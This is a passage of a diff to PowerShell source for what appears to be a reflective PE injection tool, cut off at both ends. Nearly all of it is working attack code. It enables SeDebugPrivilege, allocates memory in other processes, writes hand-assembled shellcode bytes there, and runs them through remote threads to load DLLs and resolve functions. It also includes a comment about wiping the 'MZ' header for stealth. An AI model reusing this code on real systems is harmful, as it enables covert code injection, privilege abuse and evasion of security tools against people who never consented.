[BitConverter]::GetBytes($Value) - return ([BitConverter]::ToInt64($ValueBytes, 0)) - } + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread + + return $Win32Functions + } + ##################################### + + + ##################################### + ########### HELPERS ############ + ##################################### + + #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function + #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses + Function Sub-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + $Val = $Value1Bytes[$i] - $CarryOver + #Sub bytes + if ($Val -lt $Value2Bytes[$i]) + { + $Val += 256 + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + + [UInt16]$Sum = $Val - $Value2Bytes[$i] + + $FinalBytes[$i] = $Sum -band 0x00FF + } + } + else + { + Throw "Cannot subtract bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + Function Add-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + #Add bytes + [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver + + $FinalBytes[$i] = $Sum -band 0x00FF + + if (($Sum -band 0xFF00) -eq 0x100) + { + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + } + } + else + { + Throw "Cannot add bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + Function Compare-Val1GreaterThanVal2AsUInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) + { + if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) + { + return $true + } + elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) + { + return $false + } + } + } + else + { + Throw "Cannot compare byte arrays of different size" + } + + return $false + } + + + Function Convert-UIntToInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt64] + $Value + ) + + [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) + return ([BitConverter]::ToInt64($ValueBytes, 0)) + } Function Get-Hex @@ -892,2009 +894,1990 @@ $RemoteScriptBlock = { return $Hex } - - - Function Test-MemoryRangeValid - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [String] - $DebugString, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $PEInfo, - - [Parameter(Position = 2, Mandatory = $true)] - [IntPtr] - $StartAddress, - - [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] - [IntPtr] - $Size - ) - - [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) - - $PEEndAddress = $PEInfo.EndAddress - - if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) - { - Throw "Trying to write to memory smaller than allocated address range. $DebugString" - } - if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) - { - Throw "Trying to write to memory greater than allocated address range. $DebugString" - } - } - - - Function Write-BytesToMemory - { - Param( - [Parameter(Position=0, Mandatory = $true)] - [Byte[]] - $Bytes, - - [Parameter(Position=1, Mandatory = $true)] - [IntPtr] - $MemoryAddress - ) - - for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) - { - [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) - } - } - - - #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ - Function Get-DelegateType - { - Param - ( - [OutputType([Type])] - - [Parameter( Position = 0)] - [Type[]] - $Parameters = (New-Object Type[](0)), - - [Parameter( Position = 1 )] - [Type] - $ReturnType = [Void] - ) - - $Domain = [AppDomain]::CurrentDomain - $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) - $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) - $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) - $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') - $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) - $MethodBuilder.SetImplementationFlags('Runtime, Managed') - - Write-Output $TypeBuilder.CreateType() - } - - - #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ - Function Get-ProcAddress - { - Param - ( - [OutputType([IntPtr])] - - [Parameter( Position = 0, Mandatory = $True )] - [String] - $Module, - - [Parameter( Position = 1, Mandatory = $True )] - [String] - $Procedure - ) - - # Get a reference to System.dll in the GAC - $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | - Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } - $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') - # Get a reference to the GetModuleHandle and GetProcAddress methods - $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') - $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') - # Get a handle to the module specified - $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) - $tmpPtr = New-Object IntPtr - $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) - - # Return the address of the function - Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) - } - - - Function Enable-SeDebugPrivilege - { - Param( - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Functions, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Types, - - [Parameter(Position = 3, Mandatory = $true)] - [System.Object] - $Win32Constants - ) - - [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke() - if ($ThreadHandle -eq [IntPtr]::Zero) - { - Throw "Unable to get the handle to the current thread" - } - - [IntPtr]$ThreadToken = [IntPtr]::Zero - [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) - if ($Result -eq $false) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) - { - $Result = $Win32Functions.ImpersonateSelf.Invoke(3) - if ($Result -eq $false) - { - Throw "Unable to impersonate self" - } - - $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) - if ($Result -eq $false) - { - Throw "Unable to OpenThreadToken." - } - } - else - { - Throw "Unable to OpenThreadToken. Error code: $ErrorCode" - } - } - - [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID)) - $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) - if ($Result -eq $false) - { - Throw "Unable to call LookupPrivilegeValue" - } - - [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES) - [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) - $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES) - $TokenPrivileges.PrivilegeCount = 1 - $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID) - $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED - [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) - - $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value - if (($Result -eq $false) -or ($ErrorCode -ne 0)) - { - #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set - } - - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) - } - - - Function Create-RemoteThread - { - Param( - [Parameter(Position = 1, Mandatory = $true)] - [IntPtr] - $ProcessHandle, - - [Parameter(Position = 2, Mandatory = $true)] - [IntPtr] - $StartAddress, - - [Parameter(Position = 3, Mandatory = $false)] - [IntPtr] - $ArgumentPtr = [IntPtr]::Zero, - - [Parameter(Position = 4, Mandatory = $true)] - [System.Object] - $Win32Functions - ) - - [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero - - $OSVersion = [Environment]::OSVersion.Version - #Vista and Win7 - if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) - { - #Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress" - $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) - $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - if ($RemoteThreadHandle -eq [IntPtr]::Zero) - { - Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" - } - } - #XP/Win8 - else - { - #Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress" - $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) - } - - if ($RemoteThreadHandle -eq [IntPtr]::Zero) - { - Write-Error "Error creating remote thread, thread handle is null" -ErrorAction Stop - } - - return $RemoteThreadHandle - } - - - - Function Get-ImageNtHeaders - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [IntPtr] - $PEHandle, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Types - ) - - $NtHeadersInfo = New-Object System.Object - - #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness - $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER) - - #Get IMAGE_NT_HEADERS - [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) - $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr - $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64) - - #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. - if ($imageNtHeaders64.Signature -ne 0x00004550) - { - throw "Invalid IMAGE_NT_HEADER signature." - } - - if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') - { - $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 - $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true - } - else - { - $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32) - $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 - $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false - } - - return $NtHeadersInfo - } - - - #This function will get the information needed to allocated space in memory for the PE - Function Get-PEBasicInfo - { - Param( - [Parameter( Position = 0, Mandatory = $true )] - [Byte[]] - $PEBytes, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Types - ) - - $PEInfo = New-Object System.Object - - #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot. - [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) - [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null - - #Get NtHeadersInfo - $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types - - #Build a structure with the information which will be needed for allocating memory and writing the PE to memory - $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit) - $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) - $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) - $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) - $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) - - #Free the memory allocated above, this isn't where we allocate the PE to memory - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) - - return $PEInfo - } - - - #PEInfo must contain the following NoteProperties: - # PEHandle: An IntPtr to the address the PE is loaded to in memory - Function Get-PEDetailedInfo - { - Param( - [Parameter( Position = 0, Mandatory = $true)] - [IntPtr] - $PEHandle, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Types, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Constants - ) - - if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) - { - throw 'PEHandle is null or IntPtr.Zero' - } - - $PEInfo = New-Object System.Object - - #Get NtHeaders information - $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types - - #Build the PEInfo object - $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle - $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) - $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) - $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) - $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) - - if ($PEInfo.PE64Bit -eq $true) - { - [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64))) - $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr - } - else - { - [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32))) - $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr - } - - if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) - { - $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL' - } - elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) - { - $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE' - } - else - { - Throw "PE file is not an EXE or DLL" - } - - return $PEInfo - } - - - Function Import-DllInRemoteProcess - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [IntPtr] - $RemoteProcHandle, - - [Parameter(Position=1, Mandatory=$true)] - [IntPtr] - $ImportDllPathPtr - ) - - $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) - - $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) - $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) - $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) - if ($RImportDllPathPtr -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process" - } - - [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero - $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) - - if ($Success -eq $false) - { - Throw "Unable to write DLL path to remote process memory" - } - if ($DllPathSize -ne $NumBytesWritten) - { - Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" - } - - $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") - $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes - - [IntPtr]$DllAddress = [IntPtr]::Zero - #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address - # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes. - if ($PEInfo.PE64Bit -eq $true) - { - #Allocate memory for the address returned by LoadLibraryA - $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) - if ($LoadLibraryARetMem -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" - } - - - #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm) - $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) - $LoadLibrarySC2 = @(0x48, 0xba) - $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) - $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) - - $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) - $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) - $SCPSMemOriginal = $SCPSMem - - Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) - - - $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) - if ($RSCAddr -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process for shellcode" - } - - $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) - if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) - { - Throw "Unable to write shellcode to remote process memory." - } - - $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions - $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) - if ($Result -ne 0) - { - Throw "Call to CreateRemoteThread to call GetProcAddress failed." - } - - #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory - [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) - $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) - if ($Result -eq $false) - { - Throw "Call to ReadProcessMemory failed" - } - [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) - - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null - } - else - { - [IntPtr]$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions - $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) - if ($Result -ne 0) - { - Throw "Call to CreateRemoteThread to call GetProcAddress failed." - } - - [Int32]$ExitCode = 0 - $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) - if (($Result -eq 0) -or ($ExitCode -eq 0)) - { - Throw "Call to GetExitCodeThread failed" - } - - [IntPtr]$DllAddress = [IntPtr]$ExitCode - } - - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null - - return $DllAddress - } - - - Function Get-RemoteProcAddress - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [IntPtr] - $RemoteProcHandle, - - [Parameter(Position=1, Mandatory=$true)] - [IntPtr] - $RemoteDllHandle, - - [Parameter(Position=2, Mandatory=$true)] - [IntPtr] - $FunctionNamePtr,#This can either be a ptr to a string which is the function name, or, if LoadByOrdinal is 'true' this is an ordinal number (points to nothing) - [Parameter(Position=3, Mandatory=$true)] - [Bool] - $LoadByOrdinal - ) + Function Test-MemoryRangeValid + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $DebugString, - $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, - [IntPtr]$RFuncNamePtr = [IntPtr]::Zero #Pointer to the function name in remote process memory if loading by function name, ordinal number if loading by ordinal - #If not loading by ordinal, write the function name to the remote process memory - if (-not $LoadByOrdinal) + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] + [IntPtr] + $Size + ) + + [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) + + $PEEndAddress = $PEInfo.EndAddress + + if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) { - $FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FunctionNamePtr) - - #Write FunctionName to memory (will be used in GetProcAddress) - $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) - $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) - if ($RFuncNamePtr -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process" - } - - [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero - $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) - if ($Success -eq $false) - { - Throw "Unable to write DLL path to remote process memory" - } - if ($FunctionNameSize -ne $NumBytesWritten) - { - Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" - } + Throw "Trying to write to memory smaller than allocated address range. $DebugString" } - #If loading by ordinal, just set RFuncNamePtr to be the ordinal number - else + if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) { - $RFuncNamePtr = $FunctionNamePtr + Throw "Trying to write to memory greater than allocated address range. $DebugString" } - - #Get address of GetProcAddress - $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") - $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes - - - #Allocate memory for the address returned by GetProcAddress - $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) - if ($GetProcAddressRetMem -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" - } - - - #Write Shellcode to the remote process which will call GetProcAddress - #Shellcode: GetProcAddress.asm - [Byte[]]$GetProcAddressSC = @() - if ($PEInfo.PE64Bit -eq $true) - { - $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) - $GetProcAddressSC2 = @(0x48, 0xba) - $GetProcAddressSC3 = @(0x48, 0xb8) - $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) - $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) - } - else - { - $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) - $GetProcAddressSC2 = @(0xb9) - $GetProcAddressSC3 = @(0x51, 0x50, 0xb8) - $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) - $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) - } - $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) - $SCPSMem = 